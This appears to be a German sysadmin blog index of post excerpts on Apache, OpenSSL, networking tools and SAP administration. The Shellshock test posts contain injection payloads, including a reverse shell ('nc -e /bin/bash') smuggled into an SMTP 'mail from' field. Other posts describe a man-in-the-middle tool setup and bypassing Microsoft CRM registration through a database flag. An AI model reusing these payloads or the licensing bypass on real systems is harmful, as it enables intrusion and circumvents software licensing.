TCP IP konfiguieren.

 

 

 

 

Openssh installieren.

 

 

 

Openssh Packet suchen und auswählen

 

 

 

Thats`IT

 

 

 

 

 

 

Read More

Installation und Konfiguration von HMC, VIO Server und AIX clients

Inhaltsverzeichnis:

1    Insfrastructure    3

2    HMC and firmware    4

2.1    System firmware and HMC Software    4

2.2    Configure HMC    4

2.2.1    Change Network Settings    4

2.3    HMC backup    9

2.4    HMC update    10

2.5    Firmware update    13

2.6    Configure Electronic Service Agent    16

3    VIO Server    22

3.1    Create VIO Server via HMC Console    22

3.1.1    create vio server profile    22

3.2    Install VIO Server from DVD    24

3.3    vio server configuration    24

3.3.1    vio01a/vio01b: configure Network Interface Backup (NIB)    24

3.3.2    vio1b: configure Network Interface Bac...

Read More

IBM Power 7 Hardware

 

Read More

Apache 2 Commands

/usr/local/apache2/bin/apachectl -M = Zeigt alle geladenen Module (bei selbskompilation
apache2ctl -M                    = Bei Debian

 

 

Read More

Apache 2 unter SLES 11 Installation

Bei SLES 11:
APR Runtime:
“wget http://apache.openmirror.de//apr/apr-1.4.8.tar.gz”
“tar -xzf apr-1.4.8”
“cd apr-1.4.8”
“./configure –bindir=/usr/bin –sbindir=/usr/sbin –libdir=/usr/lib64 –includedir=/usr/include”
“make”
“make install”

APR Util:
“wget http://apache.mirror.iphh.net//apr/apr-util-1.5.2.tar.gz”
“tar -xzf apr-util-1.5.2.tar.gz”
“cd apr-util-1.5.2”
“./configure –bindir=/usr/bin –sbindir=/usr/sbin –libdir=/usr/lib64 –includedir=/usr/include –with-mysql=/usr/local/mysql –with-openssl=/usr/local/ssl –with-apr=/usr/bin”
“make”
“make instal”

pcre-dev via Yast2 installieren

Für SLES 11
“...

Read More

Apache 2 Forward Security

in httpd.conf

SSLEngine on
SSLCertificateFile /usr/local/apache2/conf/ssl/server_mkb-forum.crt
SSLCertificateKeyFile /usr/local/apache2/conf/ssl/server_mkb-forum.key
SSLProtocol all -SSLv2
SSLHonorCipherOrder On
SSLCipherSuite EECDH+AES:EDH+AES:-SHA1:EECDH+RC4:EDH+RC4:RC4-SHA:EECDH+AES256:EDH+AES256:AES256-SHA:!aNULL:!eNULL:!EXP:!LOW:!MD5

Testen
http://www.heise.de/security/artikel/Forward-Secrecy-testen-und-einrichten-1932806.html
https://www.ssllabs.com/ssltest/index.html
“openssl ciphers -V ‘EECDH+ECDSA+AESGCM EECDH+aRSA+AESGCM EECDH+ECDSA+SHA256 EECDH+aRSA+RC4 EDH+aRSA EECDH RC4 !aNULL !eNULL !LOW !3DES !MD5 !EXP !PSK !SRP !DSS'”
“openssl s_client -connect 172.16.190...

Read More

Apache 2 mod_evasive Anti DDOS

Anti DDoS Plug In.

“lynx http://www.zdziarski.com/blog/?page_id=442”
“wget http://www.zdziarski.com/blog/wp-content/uploads/2010/02/mod_evasive_1.10.1.tar.gz”
“tar -xzf mod_evasive_1.10.1.tar.gz”
“cd mod_evasive”
“cp mod_evasive{20,24}.c”
“cp mod_evasive{20,24}.c”
“sed s/remote_ip/client_ip/g -i mod_evasive24.c”
“/usr/local/apache2/bin/apxs -i -a -c mod_evasive24.c”
“vi /usr/local/apache2/httpd.conf” ->
LoadModule evasive20_module   modules/mod_evasive24.so
<IfModule  mod_evasive20.c>
DOSHashTableSize 3097
DOSPageCount 3
DOSSiteCount 60
DOSPageInterval 1
DOSSiteInterval 2
DOSBlockingPeriod 15
DOSEmailNotify root@moore.corp
DOSLogDir “/var/log/messages”
DOSWhiteList 127.0.0.1
</IfModule>

######################################################################...

Read More

OpenSSL Self Signed Zertifikatsgenerierung für Apache 2

Step 1: Generate a Private Key

$:openssl genrsa -des3 -out server.key 1024
“openssl genrsa -aes256 -out server.key 8192”

Step 2: Generate a CSR (Certificate Signing Request)

$:openssl req -new -key server.key -out server.csr

Country Name (2 letter code) [GB]:DE
State or Province Name (full name) [Berkshire]:RLP
Locality Name (eg, city) [Newbury]:Worms
Organization Name (eg, company) [My Company Ltd]:Bit-Devil Inc.
Organizational Unit Name (eg, section) []:IT-Hack
Common Name (eg, your name or your server’s hostname) []:bit-devil.dyndns.org  !!!!!Wichtig hier, da die Browser immer die URLs überprüfen.
Email Address []:root@bit-devil.dyndns.org
Please enter the following ‘extra’ attributes
to be sent with your certificate request
A challenge password []: (ni...

Read More

Bash

Bash How To

Vorher System Backup!!!!

Patching bei SLES 11 Sp3

“wget http://ftp.gnu.org/gnu/bash/bash-3.2.tar.gz”
“tar -xzf bash-3.2.tar.gz”
“cd bash-3.2”
“wget http://ftp.gnu.org/gnu/bash/bash-3.2-patches/bash32-051”
“patch -p0 < bash32-051.txt”

“./configure –bindir=/bin –sbindir=/bin –libdir=/usr/lib64 –includedir=/usr/include”

Bash Security Check:
“env x='() { :;}; echo vulnerable’ bash -c “echo this is a test” ”
Output schlecht:
vulnerable
this is a test
Output gut:
bash: warning: x: ignoring function definition attempt
bash: error importing function definition for `x’
this is a test
“X='() { function a a>\’ bash -c echo; [ -e echo ] && echo “gehackt” ”

“curl -k http://127.0.0.1/cgi-bin/test -H “User-Agent: () { :;}; echo Hacked > /tmp/Hacked.txt” “

Read More

Bitcoin

https://en.bitcoin.it/wiki/Comparison_of_mining_pools
http://bitcoin.org/de/download

lynx http://bitcoin.org/de/download”
Bitcoin Blöcke via GUI herunterladen
Bitcoin-qt als server laufen lassen
“notepad++ c:\users\domain\AppData\Roaming\Bitcoin”
rpcuser=userid
rpcpassword=password
rpcallowip=*
server=1
rpcport=81

libcurl:
“wget http://curl.haxx.se/download/curl-7.33.0.tar.gz”
“tar -xzf curl-7.33.0”
“cd curl-7.33.0”
“./configure –bindir=/usr/bin –sbindir=/usr/sbin –libdir=/usr/lib64 –includedir=/usr/include”
“make”
“make install”

cpuminer (https://github.com/jgarzik/cpuminer):
“wget http://yyz.us/bitcoin/cpuminer-1.0.2.tar.gz”
“tar -xzf cpuminer-1.0.2.tar.gz”
“cpuminer-1.0.2”
“...

Read More

DLNA Serviio

DLNA Serviio

export JRE_HOME=/root/temp/java/jdk1.7.0_25
export JAVA_BINDIR=/root/temp/java/jdk1.7.0_25/bin
export JAVA_HOME=/root/temp/java/jdk1.7.0_25
export SDK_HOME=/root/temp/java/jdk1.7.0_25
export JDK_HOME=/root/temp/java/jdk1.7.0_25
export CLASSPATH=/root/temp/java/jdk1.7.0_25/lib/
export JAVA_ROOT=/root/temp/java/jdk1.7.0_25

“lynx en.wikipedia.org/wiki/Comparison_of_UPnP_AV_media_servers”
“lynx http://www.serviio.org/features”
“wget http://download.serviio.org/releases/serviio-1.3.1-linux.tar.gz”
“tar -xzf serviio-1.3.1-linux.tar.gz”
“cd serviio-1.3.1/bin”
“./serviio.sh&” = Server

“serviio-console.sh” = Config Console (GUI)

Read More

Ettercap

Ettercap Man in the Middle Attack (ARPspoof uvm.)

libnet:
“wget http://skylink.dl.sourceforge.net/project/libnet-dev/libnet-1.2-rc3.tar.gz”
“tar -xvzf libnet-1.2-rc3.tar.gz”
“cd libnet-1.2-rc3”
“./configure –bindir=/usr/bin –sbindir=/usr/sbin –libdir=/usr/lib64 –includedir=/usr/include”
“make”
“make install”

libpcap:
“git clone git://bpf.tcpdump.org/libpcap”
“./configure –bindir=/usr/bin –sbindir=/usr/sbin –libdir=/usr/lib64 –includedir=/usr/include”
“make”
“make install”

Ettercap:
“wget –no-check-certificate https://github.com/Ettercap/ettercap/archive/v0.8.0.tar.gz” oder “lynx http://ettercap.github.io/ettercap/”
“tar -xzf v0.8.0.tar.gz”
“cd ettercap-0.8.0”
“mkdir build”
“cd build”
“cmake ..”
“cp -frv /usr/include/ncurses/* /usr/include/
“make install”

“ett...

Read More

htop

“lynx http://htop.sourceforge.net/”
“wget http://downloads.sourceforge.net/project/htop/htop/1.0.2/htop-1.0.2.tar.gz?r=http%3A%2F%2Fsourceforge.net%2Fprojects%2Fhtop%2F&ts=1377185304&use_mirror=freefr”
“tar -xzf htop-1.0.2.tar.gz”
“cd htop-1.0.2”
“./configure  –bindir=/usr/bin/ –sbindir=/usr/sbin/ –libdir=/usr/lib64/ –includedir=/usr/include/”
“make”
“make install”
“htop”

Read More

iotop

bei openSuSE 13.1
“zypper in python-curses”

“wget http://guichaz.free.fr/iotop/files/iotop-0.6.tar.gz” oder “git clone git://repo.or.cz/iotop.git”
“tar -xzf iotop-0.6.tar.gz”
“cd iotop-0.6”
Bei openSUSE “zypper in python-curses”
“./setup.py install”
“iotop”
“iotop -b -n 1”

Read More

iperf

##Bandbreitentest

“lynx http://iperf.sourceforge.net/” oder “wget http://surfnet.dl.sourceforge.net/project/iperf/iperf-2.0.5.tar.gz”
“tar -xzf iperf-2.0.5.tar.gz”
“cd iperf-2.0.5”
“./configure –bindir=/usr/bin –sbindir=/usr/sbin –libdir=/usr/lib64 –includedir=/usr/include”
“make”
“make install”

“iperf -s -f M” Server Linux Seite oder (“iperf -s -P 0 -i 1 -p 5001 -C -f m”)
“lynx http://code.google.com/p/xjperf/” jperf auf Windows Seite
“iperf.exe -c 192.168.0.101 -P 1 -i 1 -p 5001 -f k -t 3600” auf Windows Seite oder “iperf -c 192.168.0.100 -P 1 -i 1 -p 5001 -C -f m -t 3600”
##

Read More

SMTP Shell Shock Test

Test Shell Shock

$ telnet localhost 25
Trying 127.0.0.1…
Connected to localhost.
Escape character is ‘^]’.
220 mail.example.com ESMTP
ehlo me
250-mail.example.com
250-PIPELINING
250 8BITMIME
mail from:<() { :; }; nc -e /bin/bash localhost 7777>
250 ok
rcpt to:<kgeorge [at] example>
250 ok
data
354 go ahead
Subject: Vuln

.
250 ok 1411674782 qp 4151

(terminal 0)

$ nc -l -p 7777
ls
mail
whoami
kgeorge

Read More

proFTPd

proFTPd

“wget ftp://ftp.proftpd.org/distrib/source/proftpd-1.3.5.tar.gz”
“tar -xzf proftpd-1.3.5.tar.gz”
“cd proftpd-1.3.5”
“./configure –bindir=/usr/bin –sbindir=/usr/sbin –libdir=/usr/lib64 –includedir=/usr/include –enable-ctrls”
“make”
“make install”

“vi /etc/proftpd/proftpd.conf” ->
#RootLogin on        #Nur wenn FTP intern

ServerType              standalone
PidFile                 /var/run/proftpd.pid
MaxInstances            30
MaxConnectionRate       4
SocketBindTight         off
UseReverseDNS           off
RootRevoke              on
DefaultServer           on
MultilineRFC2228        on
<IfModule mod_delay.c>
DelayEngine     off
DelayTable      /var/r...

Read More

Raspberry Pi

proFTPd

“wget ftp://ftp.proftpd.org/distrib/source/proftpd-1.3.5.tar.gz”
“tar -xzf proftpd-1.3.5.tar.gz”
“cd proftpd-1.3.5”
“./configure –bindir=/usr/bin –sbindir=/usr/sbin –libdir=/usr/lib64 –includedir=/usr/include –enable-ctrls”
“make”
“make install”

“vi /etc/proftpd/proftpd.conf” ->
#RootLogin on        #Nur wenn FTP intern

ServerType              standalone
PidFile                 /var/run/proftpd.pid
MaxInstances            30
MaxConnectionRate       4
SocketBindTight         off
UseReverseDNS           off
RootRevoke              on
DefaultServer           on
MultilineRFC2228        on
<IfModule mod_delay.c>
DelayEngine     off
DelayTable      /var/r...

Read More

Samba DFS

mkdir /root/dfsroot/
chmod 777 /root/dfsroot/

“vi /etc/samba/smb.conf” ->
[global]
host msdfs = yes

[dfsroot]
path = /root/dfsroot/
msdfs root = yes
comment = Distributed File System

“cd /root/dfsroot/”
“ln -s msdfs:172.16.190.12\\C-Dollar striker_dollar”
“ln -s msdfs:172.16.190.12\\C-Dollar\\root\\DATABASE\\DATABASE_1\\Database striker_database_1”

#############################################################################################
Das DFS Konzept von M$ kann man im Prinzip auch mit dem
einmounten eines CIFS Shares lösen. Ist einfacher und besser.

 

Read More

sysstat

“lynx http://sebastien.godard.pagesperso-orange.fr/download.html”
“wget http://pagesperso-orange.fr/sebastien.godard/sysstat-10.0.4.tar.gz”
“tar -xzf sysstat-10.0.3.tar.gz”
“cd sysstat-10.0.3/”
Bei 64 BIT”./configure” oder bei SuSE “./configure –bindir=/usr/bin –sbindir=/usr/sbin –libdir=/usr/lib64 –includedir=/usr/include”
“make”
“make install”

#Kommandos##################################
iostat(1) reports CPU statistics and input/output statistics for devices, partitions and network filesystems.
mpstat(1) reports individual or combined processor related statistics.
pidstat(1) reports statistics for Linux tasks (processes) : I/O, CPU, memory, etc.
sar(1) collects, reports and saves system activity information (CPU, memory, disks, interrupts, network interfac...

Read More

W-LAN

Im Kernel alle W-Lan Optionen compilieren.

Jetzt einen passenden Linux Treiber für die W-Lan Karte suchen (ndiswrapper) .
In unserem Fall für den Chipsatz “lspci -> RaLink RT2561/RT61 rev B 802.11g” bzw.
“wget http://rt2x00.serialmonkey.com/rt61-cvs-daily.tar.gz”
“tar -xvzf rt61-cvs-daily.tar.gz”
“cd /rt61-cvs-2008112517/Module”
“make”
“make install”
“depmod”
“modprobe rt61”
“echo ‘rt61’ >> /etc/modules”

Nun ist der Treiber im Kernel 🙂

“ifconfig -a” alle Netzwerk Interfaces anzeigen lassen
“ifconfig wlan0 up”

Dann benötigt man noch das “Wireless LAN Extensions Manipulation” Programm.

“wget http://www.hpl.hp.com/personal/Jean_Tourrilhes/Linux/wireless_tools.29.tar.gz”
“tar -xvzf wireless_tools.29.tar.gz”
“cd wireless_tools.29”
Das Prefix im Makefile auf ...

Read More

Microsoft CRM 4.0

vor der installation von CRM “lodctr /r” und reboot
Der Dot Net Framework Performance Counter macht Probleme.

um das system zu aktivieren 😉 (Ohne Registration Wizard)
die Datenbank “MSCRM_CONFIG” -> Tabelle “dbo.ConfigSettings” öffnen
und den Wert “IsRegistered” auf “True” setzen.

Für den eMail Router benötigt man
das “Microsoft Exchange Server MAPI Client and Collaboration Data Objects 1.2.1”
http://www.microsoft.com/download/en/details.aspx?displaylang=en&id=1004

Für den Organistation import muss die User Map angepaßt werden.
Da das in einer anderen Domain nicht möglich ist sämtliche User löschen.

Read More

Microsoft CRM 2011

Mögliche XEN Konfig####################################################################################################
#xm list
Name                                        ID   Mem VCPUs      State   Time(s)
Domain-0                                     0  1971     2     r—–    182.2
W2K8_ADS                                     1   512     2     -b—-    129.8
W2K8_CRM                                     3  1500     2     -b—-     59.5
W2K8_SQL                                     2   512     2     -b—-    314.4
#########...

Read More

Putty Setting speichern

Putty Settings speichern:
regedit /e puttynew.reg HKEY_CURRENT_USER\Software\SimonTatham\PuTTY

Read More

SAP ITS Webgui

Activate and Configure SAP ITS Webgui on SAP ECC 6.0

Since SAP ECC 5.0 and ECC 6.0, SAP has integrates its SAP Internet Transaction Server (ITS) on its server. You don’t need to install separate ITS server. You just need to activate and configure it. Follow this procedure :

Check if you have activated:
1) With transaction SICF and locate the services by path
/sap/public/bc/its/mimes
/sap/bc/gui/sap/its/webgui

2)With Transaction SE80 locate from the menu, Utilities –> Settings–>Internet Transaction Server (Tab)–>Publish (Tab) and set “On Selected
Site” = INTERNAL.
This restricts the publication in the next step to the integrated (internal) ITS.

3)In SE80 only, Locate the Internet Services: SYSTEM and WEBGUI.
Publish these services with the Context ...

Read More

SAP restore

fals das OS auf dem das SAP läuft kaputt ist aber die Datenbank noch in ordnung ist (Ob Backup oder auf einem anderen host)
so kann man ein gleiches SAP system als Cluster version installieren “möglichst die original” Profil dateien ins neue OS
kopieren (ggf. den Datenbank host manuell ändern) und während dem SAPinst angeben und damit läuft dann das SAP wieder. ggf. noch den SAP* hart aus der Datenbank löschen
und das DDIC passwort der in der neuen installation anpassen.

Read More

SAP Transaction PFCG

/nPFCG
Rolle erstellen und den Benutzer zuweisen

Read More

SAP Transport Verzeichnis Clean Up

Evetuel vorher alte CHECK.LOG unter “D:\usr\sap\trans\tmp\” löschen.
“tp pf=D:\usr\sap\trans\bin\TP_DOMAIN_S07.PFL check all” ->
initial value of NLS_LANG: ‘<NULL>’
This is tp version 372.05.49 (release 700, unicode enabled)

check>Log file is written to \\wdf-rt15v01\sapmnt\trans\tmp\CHECK.LOG

check>
check>Collected 3 filenames from [\\wdf-rt15v01\sapmnt\trans\buffer\.]

check>Collected 2 Systemnames from [\\wdf-rt15v01\sapmnt\trans\buffer\.]
check>Collected 00048 out of 00048 entries from buffer S07.
check>Collected 00372 out of 00376 entries from buffer DMY.
check>Collected 00420 entries from buffers
check>
check>Found 1 invalid filenames on Cofile-directory
check>No Cofile found for TA S07K900111
check>No Cofile found for TA S07K900162
check>No Cofile foun...

Read More

SAP clear spam saint queue

SE37 -> Function Modu: OCS_RESET_QUEUE -> aktivieren und F8
IV_TOOL: SPAM  oder SAINT
IV_FORCE: X
ausführen

Read More

SAP Developer Key löschen

Datenbank Studio öffnen.
Tabelle “DEVACCESS” öffnen und Key inkl. Namen löschen.

“DELETE FROM DEVACCESS WHERE UNAME EQ <Developer Name>”

Read More

SAP work prozesse erhöhen

/nRZ10

rdisp/wp_no_dia = 10
rdisp/wp_no_btc = 4
etc.

Read More

SAP Host Agent

http://help.sap.com/saphelp_nw70ehp2/helpdata/de/48/c6f9627a004da5e10000000a421937/content.htm
Für die Installation muss auf dem Host ein Benutzer sapadm existieren, der auf diesem Host über Administratorberechtigung verfügt, außerdem muss eine Gruppe SAP_LocalAdmin vorhanden sein.
“saphostexec -install”

Download (Stand 30.10.2012)
Software Downloads
SAP Software Download Center
Support Packages and Patches
Browse our Download Catalog
SAP Technology Components” SAP HOST AGENT” SAP HOST AGENT 7.20

Manuell starten unter Linux

“vi /usr/sap/hostctrl/exe/host_profile” ->
SAPSYSTEMNAME = SAP
SAPSYSTEM = 99
service/porttypes = SAPHostControl SAPCCMS SAPOscol
DIR_LIBRARY = /usr/sap/hostctrl/exe
DIR_EXECUTABLE = /usr/sap/hostctrl/exe
DIR_PROFILE = /usr/sap/hostctr...

Read More

SAP Java troubleshoot

Fehler:
Error Code 666. Out of memory

Lösung (https://scn.sap.com/thread/802415) :
For Instance   ID9663650  & Server  ID9663650XX, set the parameters as mentioned below using configtool.bat or consoleconfig.bat
-Xms2048M
-Xmx2048M
-XX:PermSize=512M
-XX:MaxPermSize=512M
-XX:NewSize=320M
-XX:MaxNewSize=320M

Read More

SAP ABAP Jobs

Suspend/UnSuspend Released ABAP Jobs
BTCTRNS1 – Suspend all Released Jobs
Released Jobs will have the status Released/Susp. in transaction SM37.
BTCTRNS2 – Reverse Suspend for all Released Jobs

16083 – Standard-Jobs, Reorg-Jobs        (Auf der wdf-rt10 waren alte jobs aktiv)

Read More

SAP KM import

Manuller Import einer Datei: Go to STMS –> Import overview ( F5) –> double-click on your system –> Extras –> Other Requests –> Add –> enter the request name.

http://help.sap.com/erp2005_ehp_02/helpdata/en/be/b9c8ead8294d68b1b1c4ba3d6b1cb7/content.htm
http://help.sap.com/saphelp_erp60_sp/helpdata/en/b8/7092cb57f34463b808b5fcc98c2944/content.htm

Read More

SAP leeren Auftrag erstellen

se80 -> Transport Organizer (linke seite [LKW])
rechtsklick unten auf “anlegen”. Dann Wizard folgen und nichts eintragen
einfach auf die Diskette bzw. nur speichern.

se09 -> Auftrag freigebeb.

Auf anderem System in STMS Import Queue importieren.

Read More

SAP Lizenz troubleshooting

Fehlermeldung:
The license key library has not been initialized yet

Lösung:
ssl/ssl_lib = /sapmnt/TR1/exe/libsapcrypto.o
sec/libsapsecu = /sapmnt/TR1/exe/libsapcrypto.o
ssf/ssfapi_lib = /sapmnt/TR1/exe/libsapcrypto.o
ssf2/ssfapi_lib = /sapmnt/TR1/exe/libsapcrypto.o

und die SAPcryptoLib installieren (Kommt nicht mit dem Kernel Packet)

#################################################################
Bei einem 40B Syste
C:\usr\sap\R12\sys\exe\run>saplicense -install  NAME=R12 TRACE=2 pf=C:\usr\sap\R12\sys\profile\R12_DVEBMGS13_wdf-rt4

und

Please try again.Get a new license from SMP
Empty the table MLICHECK

saplicense -install
saplicense -get
saplicense -test
saplicense -show

Refer the below notes.
12809 How to install license
13743 No valid license installed;...

Read More

SAP Mandanten Kopie

/nscc4
Mandanten Nummer anlegen
/nrz10
Import aller Profile von aktiven Servern
Werte Anpassen
“login/no_automatic_user_sapstar = 0”
SAP System neu statren
Im neuen Mandante mit user SAP* anmelden mit Std. Passwort “PASS”
/nsccl
Profile: SAL_ALL
Source Client: 000
Source Client User Master: 001

Testrun: Yes
Simulation

/nRZ10
login/system_client = 100

######################################
j2ee (Vorsicht, kann zu Problemen führen, da der server0 Prozess die Arbeit einstellet [stopped]). Lösung ????????

Convert UME
Use
You convert the User Management Engine (UME) if you use Root Cause Analysis (RCA).
Requirements
The system is running.
Activities
1. Start the Config. Tool under:
o    Windows:
\\usr\sap\<SID>\DVEBMGS<SYSNR>\j2ee\configtool\configtool.b at
o...

Read More

SAP OSS RFC

/nSM59

SAP OSS Einrichten !!!
RFC Destination     SAPOSS
Connection Type  3  ABAP Connection
Description 1  SAP OCS Server (CSS)
Load Balancing No
Target System   OSS
Msg. Server     /H/147.204.2.5/S/sapdp99/H/oss001            System Numer: 01
Group           EWA
Trusted System No
Language        EN
Client          001
User            OSS_RFC
PW Status       CPIC

#####################################################################################################################
Probleme mit der Verbindung
niping test. Geht auch über SM59

wdf-itsm02:itsadm 51>  niping -c -B 10 -L 100 -H /H/wdf-ewgw/H/147.204.2.5/H/localhost

Wed Dec 18 10:39:05 2013
connect to server o.k.
send and receive 100 ...

Read More

SAP R3trans troubleshooting

Fehlermeldung:

C:\Documents and Settings\c15adm>r3trans -d
This is r3trans version 6.14 (release 700 – 16.10.08 – 16:26:00).
unicode enabled version
2EETW169 no connect possible: “DBMS = MSSQL                            —  SERV
ER = ‘WDFDV-DB05’ DBNAME = ‘C15′”
r3trans finished (0012).

Im SAP kann keine Transporte importieren.

Lösung:
Check Transport Profil
“D:\usr\sap\trans\bin\TP_DOMAIN_C15.PFL” -> C15/DBHOST          = wdfdv-dbcl02db

R3trans Log schreiben
“r3trans -d -v -x” -> C:\Documents and Settings\c15adm\trans.log

Suche wo sich überall ein falscher Eintrag befindet
D:\usr\findstr /S “WDFDV-DB05” *

Work Around falls ein anderer DB Servers in den tiefen des SAP Systems hinterlegt ist, der aber nicht mehr erreichbar...

Read More

SAP Zusatz Infos

SAP vor dem runterfahren immer manuel stoppen.

Am besten den SAPinst al lokalen Admin aufrufen.

SAP business one für firmen bis 100 mitarbeiter.

Kernprozesse (Finanzwesen, Vertrieb, Kundenbetreuung, operativer Betrieb)

SAP Business ByDesign

Bis 500 Mitarbeiter

SAP business All-in-One

Für mittelständige unternehme. Die einzelnen Applikationen werden individuell angepasst (branchen spezifisch)

SAP business suite

Sehr individuelles produkt. Sämtliche betriebswirtschaftlichen Lösungen.

Schnittstellen zu nicht SAP Produkten Unternehmensbedürniss angepasst

SOA=Enterprise Service Oriented Architectur

Transaktions Codes

/SM04    = Benutzerinfos, Zeigt eingeloggte Benutzer

/n<transaktion> = gegenwertige Tranaktion/Bildschirm wird abgebrochen

/o<tra...

Read More

SAP Standard Job

SAP Standard Job

/nSM36
SAP_CCMS_MONI_BATCH_DP    RSAL_BATCH_TOOL_DISPATCHING    Dispatchen von Methoden Der Monitoring Architektur        hourly
SAP_COLLECTOR_FOR_JOBSTATISTIC    RSBPCOLL    generiert Laufzeitstatistiken für Hintergrundjobs                daily
SAP_COLLECTOR_FOR_PERFMONITOR    RSCOLL00    sammelt Daten für den Performance Monitor                        hourly
SAP_REORG_ABAPDUMPS    RSSNAPDL    löscht veraltete ABAP-Kurzdumps                                                daily
SAP_REORG_BATCHINPUT    RSBDCREO    löscht veraltete Batch-Input-Mappen                                        daily
SAP_REORG_JOBS  ...

Read More

SAP rename hostname

tool
SYSTEM RENAME 1.0
http://scn.sap.com/community/it-management/alm/software-logistics/blog/2013/04/11/sl-toolset-10-sps-07-new-and-improved-software-logistics-tools
SAR     SYSRENAME10SP04_0-20008436.SAR     SYSRENAME10SP04      0     Info     289637     15.07.2013

Profile überprüfen

only Hostname ändern###############################
1:1 Kopie des Servers (OS und SAP)
Alle Profile manuell abändern.
Std. Profiles
Transport Profile
D:\usr\sap\trans\bin
“findstr /S “wdf-erpides02″ * > C:\Temp\find.txt”

Read More

SAP Load Generierung

SAP Load Generierung
(dient dazu um nicht alle ABAP Programme lokal am GUI zu kompilieren sondern schon vorher)

Forgehensweise:
Am Backup Server anmelden und schauen ob das System vorahnden ist.
Im “HP-DATA Protector”. Die “Trans”-aktionslog (MSSQL Log Files[hier inkrementel]) dürfen
nicht voll laufen, daher das Backupintervall alle 30 min. für 8-12 Stunden.

Im SAP System anmelden. “DB12” zur Übersicht der Backups. “DB13” ist das Backup Scheduling.
Dann “SPAM” aufrufen und schauen wieviel Updates (SPS) im System gemacht wurden und darauf hin das SGEN planen.
“SGEN” -> “Generierung aller Objekte (falls sehr viele SPS eingespielt wurden)” -> Wizard folgen (alles aknliecken siehe SPAM).
Im “Jobmonitor” -> “Job direkt starten” (startet auf GUI ebene nicht im H...

Read More

SAP Perfomance Analyse

/st03
/st03n
DB Zeiten Check (Grafik)

/nst02 Puffer Check -> SWAP. Wenn rot nicht gut. Doppelklick drauf. “Current Parameters”  -> Auf “abap/buffersize” achten
“Profil Parameter” oder “/RZ10” Instanz Profile (klick auf kasten rechts unten).
Erweitere Pflege Anzeige/ändern. “abap/buffersize” usw. Damit die Daten aktiv werden muss das System neu gestartet werden

Auf Datenbank anmelden um zu schauen. Taskmanager CPU und RAM
Unter Win “SQL Enterprise Manager”

Read More

SAP Sprachen Import

SAP Sprachenimport

/nI18N
“I18N Customizing” -> “I18N System Configuration”
Add -> Neue Sprachen Kürzel hinzufügen. z.B. “JA” für Japanisch
“Activate”

ggf. SAP Versionierung abschalten
stms->systeme und das ist der parameter VERS_AT_IMP    = ‘ALWAYS’ auf ‘NEVER’
den wert deaktivieren.

/nSMLT
“Languag” Symbol (Blatt) -> Language: Japenese -> Supplementation Language: English
“Japanese” ist nun in der Liste aufgetaucht, diese markieren und neben an auf das “Packet Symbol” Import klicken.
Vorher das Sprachpacket von der SAP herunterladen (51043228_LANGUAGE “JANW703F.PAT”) .
Dies Datei dann nach usr/sap/trans/EPS/in kopieren.
Sobald sich die Maske des “Import” öffnet auf “Find Packages” klicken. Es sollte nun gefunden werden.
Auf “Settings” klicken und in ...

Read More

SAP Temse clean up

http://help.sap.com/saphelp_nw04/helpdata/en/fc/04ca3bb6f8c21de10000000a114084/content.htm

TemSe Consistency Check  Locate the document in its SAP Library structure
Use

You can use the TemSe consistency check to check whether entries in the TemSe data store are consistent.
Prerequisites

You require administrator authorization.
Features

1.      The TemSe consistency check checks the following table entries for all TemSe objects:

¡        Header entry in table TST01 (TemSe objects)

¡        Object associated with the header entry; it can be stored in the file system or in the database table TST03 (TemSe data of the object)

Note

The TemSe consistency check does not check the following entries:

§         Entries in table TSP01 (spool reque...

Read More

SAP Transport troubleshoot

Leeren Auftrag generieren:

se80 -> Transport Organizer (linke seite [LKW])
rechtsklick unten auf “anlegen”. Dann Wizard folgen und nichts eintragen
einfach auf die Diskette bzw. nur speichern.
Eventuell noch im Reiter “Eigenschaften” das “Ziel” angeben.
(Workbench Aufträge können nicht innerhalb des selben SAP Systems transportiert werden 😉 }

se09 -> Auftrag freigebeb.

Auf anderem System in STMS Import Queue importieren.

/nSTMS -> Importübersicht -> System auswählen -> Bearbeiten/Mehr Anzeigen

Commandline:
v11adm>tp pf=C:\usr\sap\trans\bin\TP_DOMAIN_V11.PFL import V10K900572 V11 U00“
tp import <SID>K9###### <SID> Client=### U1

Anzeigen lassen der Mehransicht unter STMS und der Systeme
Manchmal ist das importiern von “Transport von Kopien” problematis...

Read More

SAP Transaktionen

Transaktionscodes

AL08    Benutzerübersicht                                            STMS    Transport Management System

AL11    SAP Directories                    SMGW    Gateway Monitor                ST01    System Trace

                            SMLG    Logongruppen Verwaltung            ST02    SAP Puffer Monitor

DB02    Analyse von Tabellen und Indizes        SMICM    Internet Communication Manager        ST03    Workload Analyse

DB12    Übersicht über Datenbanksicherung        SM02    Systemnachrichten                ST03N    Workload Analyse...

Read More

SAP CRM 7.0 Installation

Netweaver Mobile:
SAP_ABA    710    0012    SAPKA71012    Cross-Application Component
SAP_BASIS    710    0012    SAPKB71012    SAP Basis Component
PI_BASIS    2006_1_710    0012    SAPKIPYN12    PI_BASIS 2006_1_710
ST-PI    2005_1_710    0003    SAPKITLQJ3    SAP Solution Tools Plug-In
SAP_BW    710    0012    SAPKW71012    SAP NetWeaver BI 7.1
CRMSPGWY    110    0005    SAPK-11005INCRMSPGWY    Gateway to SAP NW Mobile 1.1

CRM 7.0:
SAP_ABA    701    0008    SAPKA70108    Cross-Application Component
SAP_BASIS    701    0008    SAPKB70108    SAP Basis Component
PI_BASIS    701    0008    SAPK-70108INPIBASIS    Basis Plug-In
ST-PI    2008_1_700    0000   ...

Read More

Sybase Mobile Sales for SAP CRM

Sybase Mobile Sales for SAP CRM

Auf deutsch, ein iPhone/iPad mittels Sybase mit einem SAP CRM System verbinden.

Frontend. So sieht der Endanwender das CRM

Damit ein Verkäufer immer Zugriff auf aktuelle Kundendaten hat, kann er auf seinem iPad/iPhone sehen, welche Kundenbeziehen ihm zur Verfügung stehen und das ganze Mobil an jedem Ort der Welt.

Einige Features: Kontakte, Analysen und Opportunities.

Hier zwei Grafiken die die Technik zwischendrin zeigen

Das “Sybase Mobile Sales for SAP CRM – APP” zieht sich die aktuellen Daten aus dem Sybase Unwired Platform Server, der wiederum vom Netwevaer Mobile Server versorgt wird und dieser besitzt eine RFC Verbindung zum CRM Backend Server...

Read More

SAP Datenbank Umzug

SAP Datenbank umzug (Homogen [MSSQL => MSSQL])  MSSQL Decompression: http://blogs.msdn.com/b/sqlserverfaq/archive/2010/09/03/how-to-identify-compressed-tables-before-restoring-migrating-database-to-any-edition-other-than-enterprise-edition-of-sql-server-2008.aspx

Neusten Kernel für das SAP System installieren.

SAP System komplett herunterfahren inkl. Services.

